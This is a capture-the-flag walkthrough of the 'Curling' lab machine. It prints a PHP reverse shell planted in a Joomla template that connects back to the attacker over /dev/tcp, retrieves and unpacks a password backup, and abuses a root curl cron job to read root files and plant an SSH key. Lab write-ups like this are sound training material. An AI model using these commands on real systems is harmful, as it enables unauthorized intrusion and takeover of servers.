MACHINE - CURLING

OPEN PORTS

```
$ nc -sVC -T4 -Pn $IP

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
```

INVESTINGATING THE WEBSITE

- It uses *Joomla* as CMS (Content Management System) for publishing web content

> A Content Management System is a computer software used to manage the creation and modification of digital content (content managemenet) freeing the webmaster from specific technical knowledge of Web programming. Most famous CMS is Wordpress.

- There is a cookie

```
c0548020854924e0aecd05ed9f5b672b=tkvv6jvc2gor3c13el752t88n1
```

- The source code contains a comment with a name `secret.txt`
- Opening the page `http://${IP}/secret.txt` we find `Q3VybGluZzIwMTgh`
- It seems to be a base64 encoded string

```
$ echo "Q3VybGluZzIwMTgh" | base64 -d
Curling2018!
```

- The password is `Curling2018!`
- Looking at the posts we see a name `Super User`, however it is not a username
- Reading the posts we see another name `Florin`, which is the name of the "Super User"
- At this point we can try to login with credentials `floris:Curling2018!`
- We are logged as the super user, however, we cannot do anything more here
- Since, we haven't already done, let's run a simple directory enumeration

```
$ gobuster dir -u http://{IP}/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

- We see a new folder named `administrator`
- Searching for `http://{IP}/administrator` we are exposed to another login page
- Using the same credentials we access the control panel

GETTING A REVERSE SHELL

- Reading on the internet, we can easily found an important "vulnerability"
- Once we got access to the administrator panel, we are able to RCE (Remote Code Execution)
- To obtain a reverse shell, we need to go to the `Template` tab
- Here there are `Styles` and `Template`
- In `Styles` we see that there are two entries
- One of them, i.e. `protostar` , is the default template assigned to all pages
- Now, we can go on `Templates` and click on protostart
- Once we have done this, it opens a page with a number of folders and files
- Among all of them there are a number of *editable* PHP files.
- Open the most obvious one, i.e., `index.php` , and insert the PHP reverse shell

```
<?php system("/bin/bash -c 'exec bash -i &> /dev/tcp/{MyIP}/{port} >&1'") ?>
```

- In the meantime, run a netcat listener on the specified port
- Save the modified file and on another tab search for `http://{IP}/`
- There it is! The reverse shell is active.

INVESTIGATING THE REMOTE MACHINE

- We are logged as `www-data` that does not have a HOME folder
- In the `home` folder there is only one user named `floris`
- We can try to login as floris using the same password, but we will fail
- However, in the floris home folder, that we can access as read-only, there are some files

```
total 12
drwxr-x--- 2 root   floris 4096 Aug  2  2022 admin-area
```

```
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r----- 1 floris floris   33 May 12 15:57 user.txt
```

- `user.txt` that contains the flag is not accessible
- `admin-area` neither.
- `password_backup` is accessible in reading mode, hence let's downloading it in local
- On the remote machine setup a temporal HTTP server using Python

```
www-data@curling:/home/floris$ python3 -m http.server
```

- On the local machine just run

```
$ wget http://{IP}:8000/password_backup
$ cat password_backup

00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H
```

- It looks like a binary.
- At the start of the header there are some "magic bytes" `BZh`
- If we search for those letters, we discover that it is the header of a Bzip2 compressed file
- We can also see that it is the hex dump of a Bzip2 compressed file
- In order to obtain the original file let's run the following procedure

```
$ xxd -r password_backup > password_backup.bin
$ bzip2recover password_backup.bin

bzip2recover 1.0.8: extracts blocks from damaged .bz2 files.
bzip2recover: searching for block boundaries ...
   block 1 runs from 80 to 1871
bzip2recover: splitting into blocks
```

```
    writing block 1 to 'rec00001password_backup.bin.bz2' ...
bzip2recover: finished

$ file rec00001password_backup.bin.bz2
rec00001password_backup.bin.bz2: bzip2 compressed data, block size = 900k

$ bzip2 -d rec00001password_backup.bin.bz2
$ file rec00001password_backup.bin
rec00001password_backup.bin: gzip compressed data, was "password",
last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

$ mv rec00001password_backup.bin rec00001password_backup.gz
$ gzip -d rec00001password_backup.gz
$ file rec00001password_backup
rec00001password_backup: bzip2 compressed data, block size = 900k

$ bzip2 -d rec00001password_backup
bzip2: Cant guess original name for rec00001password_backup --
using rec00001password_backup.out

$ tar -xvf rec00001password_backup.out
password.txt

$ cat password.txt
5d<wdCbdZu)|hChXll
```

- Now we have the password
- Go back to our reverse shell and login as the floris user

```
www-data@curling:/home/floris$ su floris
Password: 5d<wdCbdZu)|hChXll

floris@curling:~$ cat user.txt
<USER-FLAG>
```

- At this point let's SSH

PRIVILEGE ESCALATION

- In the `floris` home folder there is the `admin-area` folder
- It contains two files `input` and `report`
- The interesting fact is that, they day in which they are modified is the current one
- Which means that there should be a cronjob running on the backend using those files
- The `input` file has the following content

```
URL='http://127.0.0.1/'
```

- While the `report` file has an error

```
WARNING: Failed to daemonise.  This is quite common and not fatal.
Connection refused (111)
```

- Which refers to the MySQL service running on the default port on 127.0.0.1
- One thing that we can do is to setup a HTTP server on the local machine and change the URL
- Let's run the classical `python -m http.server` on our machine
- Then modify the input file as follow

```
URL='http://{MyIP}:8000/ciao'
```

- After some time, we obtain a request on our HTTP sever

```
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.150 - - [12/May/2024 18:38:59] code 404, message File not found
10.10.10.150 - - [12/May/2024 18:38:59] "GET /ciao HTTP/1.1" 404 -
```

- And the relative HTTP 404 Error page on the `report` file
- It seems that it is searching for something and writing the output in the `report` file
- If it is, then we can just

```
URL='file:///root/root.txt'
```

- After a while

```
floris@curling:~/admin-area/$ cat report
<ROOT-FLAG>
```

FURTHER EXPLANATION

- To see what it is doing in the backend, we can change the URL as

```
URL='file:///var/run/cron/crontabs/root'
```

- After a while, examining the report file we see

```
...
* * * * * curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
```

- It seems that it is using curl to get what in the URL parameter and writing the result on `report`
- To get a root shell on the remote machine we can

1. On the local machine, generate an SSH keypair `root` and `root.pub`
2. Run a python http server in the same folder as the keys
3. On the remote machine modify `input` as

```
URL=http://{MyIP}:8000/root.pub
output="/root/.ssh/authorized_keys"
```

4. Using SSH to log as the root using the created private key

```
$ ssh root@{IP} -i root
...
root@curling:/root/ whoami
root
```

- At this point we have obtain a shell as root and we can do whatever we want